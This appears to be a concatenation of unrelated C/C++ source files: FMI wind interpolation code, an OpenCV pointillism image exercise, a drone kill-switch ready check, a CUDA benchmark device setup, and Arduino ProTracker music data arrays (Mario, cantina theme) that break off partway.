calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft == kFloatMissing && theBottomRight != kFloatMissing)
{
if (1 - dx > dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomRight), static_cast<float>(dx * (1 - dy)));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
return calculator();
}
else if (theTopLeft != kFloatMissing && theTopRight != kFloatMissing &&
theBottomLeft != kFloatMissing && theBottomRight == kFloatMissing)
{
if (dx > dy)
return kFloatMissing;
calculator(static_cast<float>(theBottomLeft), static_cast<float>((1 - dx) * (1 - dy)));
calculator(static_cast<float>(theTopLeft), static_cast<float>((1 - dx) * dy));
calculator(static_cast<float>(theTopRight), static_cast<float>(dx * dy));
return calculator();
}
return kFloatMissing;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief 2D weighted wind interpolation
*/
// ----------------------------------------------------------------------
WindInterpolator::WindInterpolator()
: itsCount(0),
itsSpeedSum(0),
itsSpeedSumX(0),
itsSpeedSumY(0),
itsWeightSum(0),
itsBestDirection(0),
itsBestWeight(0)
{
}
// ----------------------------------------------------------------------
/*!
* \brief Reset the interpolator
*/
// ----------------------------------------------------------------------
void WindInterpolator::Reset()
{
try
{
itsCount = 0;
itsSpeedSum = 0;
itsSpeedSumX = 0;
itsSpeedSumY = 0;
itsWeightSum = 0;
itsBestDirection = 0;
itsBestWeight = 0;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Add a new wind vector to the weighted sum
*/
// ----------------------------------------------------------------------
void WindInterpolator::operator()(double theSpeed, double theDirection, double theWeight)
{
try
{
if (theSpeed == kFloatMissing || theDirection == kFloatMissing || theWeight <= 0)
return;
if (itsCount == 0 || theWeight > itsBestWeight)
{
itsBestDirection = theDirection;
itsBestWeight = theWeight;
}
++itsCount;
itsWeightSum += theWeight;
itsSpeedSum += theWeight * theSpeed;
// Note that wind direction is measured against the Y-axis,
// not the X-axis. Hence sin and cos are not in the usual
// order.
double dir = FmiRad(theDirection);
itsSpeedSumX += theWeight * cos(dir);
itsSpeedSumY += theWeight * sin(dir);
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Return the mean wind speed
*
* We choose to return mean speed component instead of mean
* 2D wind component since the wind is probably turning in the
* area instead of diminishing between the grid corners like the
* result would be if we used the 2D mean.
*/
// ----------------------------------------------------------------------
double WindInterpolator::Speed() const
{
try
{
if (itsCount == 0 || itsWeightSum == 0)
return kFloatMissing;
return itsSpeedSum / itsWeightSum;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
// ----------------------------------------------------------------------
/*!
* \brief Return the mean wind direction
*
* For direction we use 2D component analysis. If the result is a null
* vector, we return the direction with the largest weight.
*/
// ----------------------------------------------------------------------
double WindInterpolator::Direction() const
{
try
{
if (itsCount == 0 || itsWeightSum == 0)
return kFloatMissing;
double x = itsSpeedSumX / itsWeightSum;
double y = itsSpeedSumY / itsWeightSum;
// If there is almost exact cancellation, return best
// weighted direction instead.
if (sqrt(x * x + y * y) < 0.01)
return itsBestDirection;
// Otherwise use the 2D mean
double dir = atan2(y, x);
dir = FmiDeg(dir);
if (dir < 0)
dir += 360;
return dir;
}
catch (...)
{
throw Fmi::Exception::Trace(BCP, "Operation failed!");
}
}
} // namespace NFmiInterpolation
// ======================================================================
| 25,911 | 7,691 |
#include <algorithm>
#include <cstdlib>
#include <ctime>
#include <fstream>
#include <iomanip>
#include <iostream>
#include <numeric>
#include <opencv2/core/matx.hpp>
#include <opencv2/imgcodecs.hpp>
#include <opencv2/opencv.hpp>
#include <vector>
using namespace std;
using namespace cv;
#define STEP 5
#define JITTER 3
#define RAIO 5
int main(int argc, char **argv) {
vector<int> yrange;
vector<int> xrange;
Mat image, border, frame, points;
int width, height, gray;
int x, y;
image = imread("./exercises/7/hunt.jpg", cv::IMREAD_GRAYSCALE);
srand(time(0));
if (!image.data) {
cout << "nao abriu" << argv[1] << endl;
cout << argv[0] << " imagem.jpg";
exit(0);
}
width = image.size().width;
height = image.size().height;
int cannyThreshold = 30;
Canny(image, border, cannyThreshold, 3 * cannyThreshold);
xrange.resize(height / STEP);
yrange.resize(width / STEP);
iota(xrange.begin(), xrange.end(), 0);
iota(yrange.begin(), yrange.end(), 0);
for (uint i = 0; i < xrange.size(); i++) {
xrange[i] = xrange[i] * STEP + STEP / 2;
}
for (uint i = 0; i < yrange.size(); i++) {
yrange[i] = yrange[i] * STEP + STEP / 2;
}
points = Mat(height, width, CV_8U, Scalar(255));
random_shuffle(xrange.begin(), xrange.end());
for (auto i : xrange) {
random_shuffle(yrange.begin(), yrange.end());
for (auto j : yrange) {
x = i + rand() % (2 * JITTER) - JITTER + 1;
y = j + rand() % (2 * JITTER) - JITTER + 1;
gray = image.at<uchar>(x, y);
circle(points, cv::Point(y, x), RAIO, CV_RGB(gray, gray, gray), -1,
cv::LINE_AA);
}
}
for (int i = 0; i < 10; i++) {
for (auto i : xrange) {
random_shuffle(yrange.begin(), yrange.end());
for (auto j : yrange) {
x = i + rand() % (2 * JITTER) - JITTER + 1;
y = j + rand() % (2 * JITTER) - JITTER + 1;
gray = image.at<uchar>(x, y);
if (border.at<uchar>(x, y) == 255) {
circle(points, cv::Point(y, x), RAIO - 2,
CV_RGB(gray, gray, gray), -1, cv::LINE_AA);
}
}
}
}
imshow("points", points);
waitKey();
imwrite("./exercises/7/pontos.jpg", points);
imwrite("./exercises/7/cannyborders.png", border);
return 0;
} | 2,486 | 963 |
#include "flyMS/ready_check.h"
#include <chrono>
#include "rc/dsm.h"
#include "rc/start_stop.h"
#include "rc/led.h"
// Default Constructor
ReadyCheck::ReadyCheck() {
is_running_.store(true);
}
// Desctuctor
ReadyCheck::~ReadyCheck() {
is_running_.store(false);
rc_dsm_cleanup();
}
int ReadyCheck::WaitForStartSignal() {
// Initialze the serial RC hardware
int ret = rc_dsm_init();
//Toggle the kill switch to get going, to ensure controlled take-off
//Keep kill switch down to remain operational
int count = 1, toggle = 0, reset_toggle = 0;
float switch_val[2] = {0.0f , 0.0f};
bool first_run = true;
printf("Toggle the kill swtich twice and leave up to initialize\n");
while (count < 6 && rc_get_state() != EXITING && is_running_.load()) {
// Blink the green LED light to signal that the program is ready
reset_toggle++; // Only blink the led 1 in 20 times this loop runs
if (toggle) {
rc_led_set(RC_LED_GREEN, 0);
if (reset_toggle == 20) {
toggle = 0;
reset_toggle = 0;
}
} else {
rc_led_set(RC_LED_GREEN, 1);
if (reset_toggle == 20) {
toggle = 1;
reset_toggle = 0;
}
}
if (rc_dsm_is_new_data()) {
//Skip the first run to let data history fill up
if (first_run) {
switch_val[1] = rc_dsm_ch_normalized(5);
first_run = false;
continue;
}
switch_val[1] = switch_val[0];
switch_val[0] = rc_dsm_ch_normalized(5);
if (switch_val[0] < 0.25 && switch_val[1] > 0.25)
count++;
if (switch_val[0] > 0.25 && switch_val[1] < 0.25)
count++;
}
std::this_thread::sleep_for(std::chrono::milliseconds(10)); // Run at 100 Hz
}
//make sure the kill switch is in the position to fly before starting
while (switch_val[0] < 0.25 && rc_get_state() != EXITING && is_running_.load()) {
if (rc_dsm_is_new_data()) {
switch_val[0] = rc_dsm_ch_normalized(5);
}
std::this_thread::sleep_for(std::chrono::milliseconds(10));
}
printf("\nInitialized! Starting program\n");
rc_led_set(RC_LED_GREEN, 1);
return 0;
}
| 2,131 | 828 |
#include <iostream>
#include <stdlib.h>
#include "ResultDatabase.h"
#include "OptionParser.h"
#include "Utility.h"
using namespace std;
//using namespace SHOC;
#include <cuda.h>
#include <cuda_runtime.h>
void addBenchmarkSpecOptions(OptionParser &op);
void RunBenchmark(ResultDatabase &resultDB,
OptionParser &op);
void EnumerateDevicesAndChoose(int chooseDevice, bool verbose, const char* prefix = NULL)
{
cudaSetDevice(chooseDevice);
int actualdevice;
cudaGetDevice(&actualdevice);
int deviceCount;
cudaGetDeviceCount(&deviceCount);
string deviceName = "";
for (int device = 0; device < deviceCount; ++device)
{
cudaDeviceProp deviceProp;
cudaGetDeviceProperties(&deviceProp, device);
if (device == actualdevice)
deviceName = deviceProp.name;
if (verbose)
{
cout << "Device "<<device<<":\n";
cout << " name = '"<<deviceProp.name<<"'"<<endl;
cout << " totalGlobalMem = "<<HumanReadable(deviceProp.totalGlobalMem)<<endl;
cout << " sharedMemPerBlock = "<<HumanReadable(deviceProp.sharedMemPerBlock)<<endl;
cout << " regsPerBlock = "<<deviceProp.regsPerBlock<<endl;
cout << " warpSize = "<<deviceProp.warpSize<<endl;
cout << " memPitch = "<<HumanReadable(deviceProp.memPitch)<<endl;
cout << " maxThreadsPerBlock = "<<deviceProp.maxThreadsPerBlock<<endl;
cout << " maxThreadsDim[3] = "<<deviceProp.maxThreadsDim[0]<<","<<deviceProp.maxThreadsDim[1]<<","<<deviceProp.maxThreadsDim[2]<<endl;
cout << " maxGridSize[3] = "<<deviceProp.maxGridSize[0]<<","<<deviceProp.maxGridSize[1]<<","<<deviceProp.maxGridSize[2]<<endl;
cout << " totalConstMem = "<<HumanReadable(deviceProp.totalConstMem)<<endl;
cout << " major (hw version) = "<<deviceProp.major<<endl;
cout << " minor (hw version) = "<<deviceProp.minor<<endl;
cout << " clockRate = "<<deviceProp.clockRate<<endl;
cout << " textureAlignment = "<<deviceProp.textureAlignment<<endl;
}
}
std::ostringstream chosenDevStr;
if( prefix != NULL )
{
chosenDevStr << prefix;
}
chosenDevStr << "Chose device:"
<< " name='"<<deviceName<<"'"
<< " index="<<actualdevice;
std::cout << chosenDevStr.str() << std::endl;
}
// ****************************************************************************
// Function: GPUSetup
//
// Purpose:
// do the necessary OpenCL setup for GPU part of the test
//
// Arguments:
// op: the options parser / parameter database
// mympirank: for printing errors in case of failure
// mynoderank: this is typically the device ID (the mapping done in main)
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUSetup(OptionParser &op, int mympirank, int mynoderank)
{
//op.addOption("device", OPT_VECINT, "0", "specify device(s) to run on", 'd');
//op.addOption("verbose", OPT_BOOL, "", "enable verbose output", 'v');
addBenchmarkSpecOptions(op);
// The device option supports specifying more than one device
int deviceIdx = mynoderank;
if( deviceIdx >= op.getOptionVecInt( "device" ).size() )
{
std::ostringstream estr;
estr << "Warning: not enough devices specified with --device flag for task "
<< mympirank
<< " ( node rank " << mynoderank
<< ") to claim its own device; forcing to use first device ";
std::cerr << estr.str() << std::endl;
deviceIdx = 0;
}
int device = op.getOptionVecInt("device")[deviceIdx];
bool verbose = op.getOptionBool("verbose");
int deviceCount;
cudaGetDeviceCount(&deviceCount);
if (device >= deviceCount) {
cerr << "Warning: device index: " << device <<
"out of range, defaulting to device 0.\n";
device = 0;
}
std::ostringstream pstr;
pstr << mympirank << ": ";
// Initialization
EnumerateDevicesAndChoose(device,verbose, pstr.str().c_str());
return 0;
}
// ****************************************************************************
// Function: GPUCleanup
//
// Purpose:
// do the necessary OpenCL cleanup for GPU part of the test
//
// Arguments:
// op: option parser (to be removed)
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUCleanup(OptionParser &op)
{
return 0;
}
// ****************************************************************************
// Function: GPUDriver
//
// Purpose:
// drive the GPU test in both sequential and simultaneous run (with MPI)
//
// Arguments:
// op: benchmark options to be passed down to the gpu benchmark
//
// Returns: success/failure
//
// Creation: 2009
//
// Modifications:
//
// ****************************************************************************
//
int GPUDriver(OptionParser &op, ResultDatabase &resultDB)
{
// Run the benchmark
RunBenchmark(resultDB, op);
return 0;
}
| 5,270 | 1,584 |
#include <Arduino.h>
#include "music.h"
#include "tunes.h"
const uint8_t mario[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4d, 0x61, 0x72, 0x69, 0x6f, 0x20, 0x28, 0x4c, 0x65, 0x76,
0x65, 0x6c, 0x20, 0x31, 0x2d, 0x31, 0x29, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x47, 0x4f, 0x47, 0x49, 0x4e, 0x20, 0x6f,
0x6e, 0x20, 0x32, 0x32, 0x2e, 0x30, 0x31, 0x2e, 0x32, 0x30, 0x30, 0x32, 0x2e, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20,
/* +99 */
0x01, 0x07, 0x0e, 0x01,
/* +103 */
0xd8, 0x00, 0x00, 0x00, 0x40, 0x04, 0x9e, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x05, 0x17, 0x05, 0x2d, 0x05, 0x43,
0x05, 0x59, 0x05, 0x66, 0x05, 0x7c, 0x05, 0x92, 0x05, 0xa8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* 201(c9) - order */
0x00, 0x03, 0x03, 0x06, 0x06, 0x09, 0x00,
/* dx */
0x03, 0x03, 0x0c, 0x0c, 0x09, 0x00, 0x0c, 0xff, 0xf6, 0x00, 0x09, 0x01, 0x1d, 0x01, 0x31, 0x01,
0x5b, 0x01, 0x85, 0x01, 0xaf, 0x01, 0xf8, 0x01, 0x41, 0x02, 0x85, 0x02, 0xc6, 0x02, 0x07, 0x03,
/* fx */
0x32, 0x03, 0x8b, 0x03, 0xed, 0x03, 0xf0, 0x02, 0xb1, 0x01, 0x84, 0xb1, 0x02, 0x84, 0x84, 0xb1,
0x01, 0x80, 0xb1, 0x02, 0x84, 0xb1, 0x08, 0x87, 0x00, 0xf0, 0x02, 0xb1, 0x01, 0x7a, 0xb1, 0x02,
0x7a, 0x7a, 0xb1, 0x01, 0x7a, 0xb1, 0x02, 0x7a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 0x84, 0x8c, 0xb1, 0x01, 0x8c, 0xb1, 0x06, 0x8c, 0xb1, 0x01, 0x87, 0x86, 0x85,
0xb1, 0x02, 0x83, 0x84, 0xb1, 0x01, 0x7c, 0x7d, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0x80, 0xb1,
0x03, 0x82, 0x83, 0x82, 0xb1, 0x08, 0x80, 0x00, 0xb1, 0x02, 0xd0, 0xf0, 0x02, 0xb1, 0x01, 0x84,
0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0xb1, 0x01, 0x78, 0x79, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x74,
0x78, 0xb1, 0x03, 0x79, 0xb1, 0x01, 0x84, 0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0x85, 0xb1, 0x01,
0x85, 0xb1, 0x06, 0x85, 0xb1, 0x01, 0x84, 0x83, 0x82, 0xb1, 0x02, 0x7f, 0x80, 0xb1, 0x01, 0x78,
0x79, 0xb1, 0x02, 0x7b, 0xb1, 0x01, 0x74, 0x78, 0xb1, 0x03, 0x79, 0x7c, 0x7e, 0xb1, 0x08, 0x78,
0x00, 0xf0, 0x02, 0xb1, 0x03, 0x68, 0x6f, 0xb1, 0x02, 0x74, 0xb1, 0x03, 0x6d, 0xb1, 0x01, 0x74,
0xb1, 0x02, 0x74, 0x6d, 0xb1, 0x03, 0x68, 0x6c, 0xb1, 0x01, 0x6f, 0xb1, 0x02, 0x74, 0x87, 0xb1,
0x01, 0x87, 0xb1, 0x02, 0x87, 0x6f, 0xb1, 0x03, 0x68, 0x6f, 0xb1, 0x02, 0x74, 0xb1, 0x03, 0x6d,
0xb1, 0x01, 0x74, 0xb1, 0x02, 0x74, 0x6d, 0x68, 0xb1, 0x03, 0x70, 0x72, 0x74, 0xb1, 0x01, 0x6f,
0xb1, 0x02, 0x6f, 0x68, 0x00, 0xb1, 0x01, 0x80, 0xb1, 0x02, 0x80, 0x80, 0xb1, 0x01, 0x80, 0xb1,
0x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d, 0xf4, 0x04, 0x7f, 0x45,
0x89, 0xf0, 0x02, 0xb1, 0x01, 0x84, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x7d, 0xb1, 0x04, 0x7b, 0xb1,
0x01, 0x84, 0xb1, 0x02, 0x80, 0xb1, 0x03, 0x7b, 0xb1, 0x02, 0x7c, 0xb1, 0x01, 0x7d, 0xb1, 0x02,
0x85, 0xb1, 0x01, 0x85, 0xb1, 0x04, 0x7d, 0xb1, 0x01, 0x7f, 0xb1, 0x02, 0x85, 0xb1, 0x01, 0x85,
0xf6, 0x04, 0xb1, 0x04, 0x85, 0xf0, 0x02, 0xb1, 0x08, 0x80, 0x00, 0xf0, 0x02, 0xb1, 0x01, 0x80,
0xb1, 0x02, 0x7d, 0xb1, 0x03, 0x78, 0xb1, 0x02, 0x78, 0xb1, 0x01, 0x79, 0xb1, 0x02, 0x80, 0xb1,
0x01, 0x80, 0xb1, 0x04, 0x79, 0xf4, 0x04, 0x7b, 0x46, 0x85, 0xf0, 0x02, 0xb1, 0x01, 0x80, 0xb1,
0x02, 0x7d, 0xb1, 0x01, 0x79, 0xb1, 0x04, 0x78, 0xb1, 0x01, 0x80, 0xb1, 0x02, 0x7d, 0xb1, 0x03,
0x78, 0xb1, 0x02, 0x78, 0xb1, 0x01, 0x79, 0xb1, 0x02, 0x80, 0xb1, 0x01, 0x80, 0xb1, 0x04, 0x79,
0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x82, 0xb1, 0x01, 0x82, 0xf7, 0x04, 0xb1, 0x04, 0x82, 0xf0, 0x02,
0xb1, 0x01, 0x7b, 0xb1, 0x02, 0x78, 0xb1, 0x01, 0x78, 0xb1, 0x04, 0x74, 0x00, 0xf0, 0x02, 0xb1,
0x03, 0x68, 0xb1, 0x01, 0x6e, 0xb1, 0x02, 0x6f, 0x74, 0x6d, 0x6d, 0xb1, 0x01, 0x74, 0x74, 0xb1,
0x02, 0x6d, 0xb1, 0x03, 0x6a, 0xb1, 0x01, 0x6d, 0xb1, 0x02, 0x6f, 0x73, 0x6f, 0x6f, 0xb1, 0x01,
0x74, 0x74, 0xb1, 0x02, 0x6f, 0xb1, 0x03, 0x68, 0xb1, 0x01, 0x6e, 0xb1, 0x02, 0x6f, 0x74, 0x6d,
0x6d, 0xb1, 0x01, 0x74, 0x74, 0xb1, 0x02, 0x6d, 0xb1, 0x01, 0x6f, 0xb1, 0x02, 0x6f, 0xb1, 0x01,
0x6f, 0xf8, 0x04, 0xb1, 0x04, 0x6f, 0xf0, 0x02, 0xb1, 0x02, 0x74, 0x6f, 0xb1, 0x04, 0x68, 0x00,
0x16, 0x17, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c,
0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84,
0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x82,
0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85,
0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x81,
0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x1d,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00,
0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00,
0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00,
0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00,
0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00,
0x00, 0x88, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0c, 0x13, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09,
0x09, 0x09, 0x0c, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x0b, 0x0a, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfc, 0x13, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xfd, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xfe,
0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfd, 0x13, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x04,
};
const uint8_t cantina[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x34, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x49, 0x6e,
0x20, 0x53, 0x74, 0x61, 0x72, 0x20, 0x57, 0x61, 0x72, 0x73, 0x20, 0x50, 0x55, 0x42, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x79, 0x20, 0x4d, 0x61, 0x73, 0x74, 0x2f, 0x46, 0x74, 0x4c, 0x20, 0x31, 0x32, 0x2e, 0x30, 0x32,
0x2e, 0x39, 0x39, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x01, 0x06, 0x07, 0x00, 0xd1, 0x00, 0x00, 0x00, 0x60, 0x06, 0x00, 0x00, 0xbe,
0x06, 0x00, 0x00, 0x28, 0x07, 0x8e, 0x07, 0x14, 0x08, 0x9a, 0x08, 0x00, 0x00, 0xa8, 0x08, 0x00,
0x00, 0xe6, 0x08, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x08, 0x01, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x09, 0x0d, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x09, 0x00, 0x03, 0x09, 0x06, 0x0c, 0x06, 0x0f,
0xff, 0xf5, 0x00, 0x7d, 0x01, 0x02, 0x02, 0x6b, 0x02, 0xaf, 0x02, 0xf8, 0x02, 0x43, 0x03, 0x89,
0x03, 0xcc, 0x03, 0x02, 0x04, 0x4a, 0x04, 0x95, 0x04, 0xd4, 0x04, 0x18, 0x05, 0x5e, 0x05, 0x95,
0x05, 0xdd, 0x05, 0x20, 0x06, 0xf0, 0x1e, 0xbf, 0x00, 0x2f, 0xb1, 0x02, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x35, 0x1e, 0x7d, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x28, 0x1e, 0x82, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 0x80, 0x1e, 0x00, 0x2f, 0x1e, 0x7f, 0x10, 0x0e, 0x80,
0x1e, 0x00, 0x20, 0x1e, 0x86, 0x10, 0x0e, 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x00,
0x16, 0x17, 0x00, 0x0f, 0x29, 0xfe, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x17,
0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x17,
0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x17,
0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x15,
0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x13,
0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x01, 0x90, 0x00, 0x00, 0x14, 0x1a,
0x01, 0x8e, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8d, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00, 0x01, 0x8c, 0x00, 0x00,
0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8c, 0x01, 0x00, 0x01, 0x8c, 0xff, 0xff,
0x01, 0x8c, 0xfd, 0xff, 0x01, 0x8c, 0xff, 0xff, 0x18, 0x19, 0x05, 0x0f, 0x00, 0x01, 0x07, 0x0e,
0x80, 0x01, 0x09, 0x0e, 0x00, 0x02, 0x0b, 0x1e, 0x00, 0x00, 0x0b, 0x1e, 0x00, 0x00, 0x01, 0x1e,
0x00, 0x00, 0x01, 0x1e, 0x00, 0x00, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1d, 0x00, 0x00, 0x01, 0x1d,
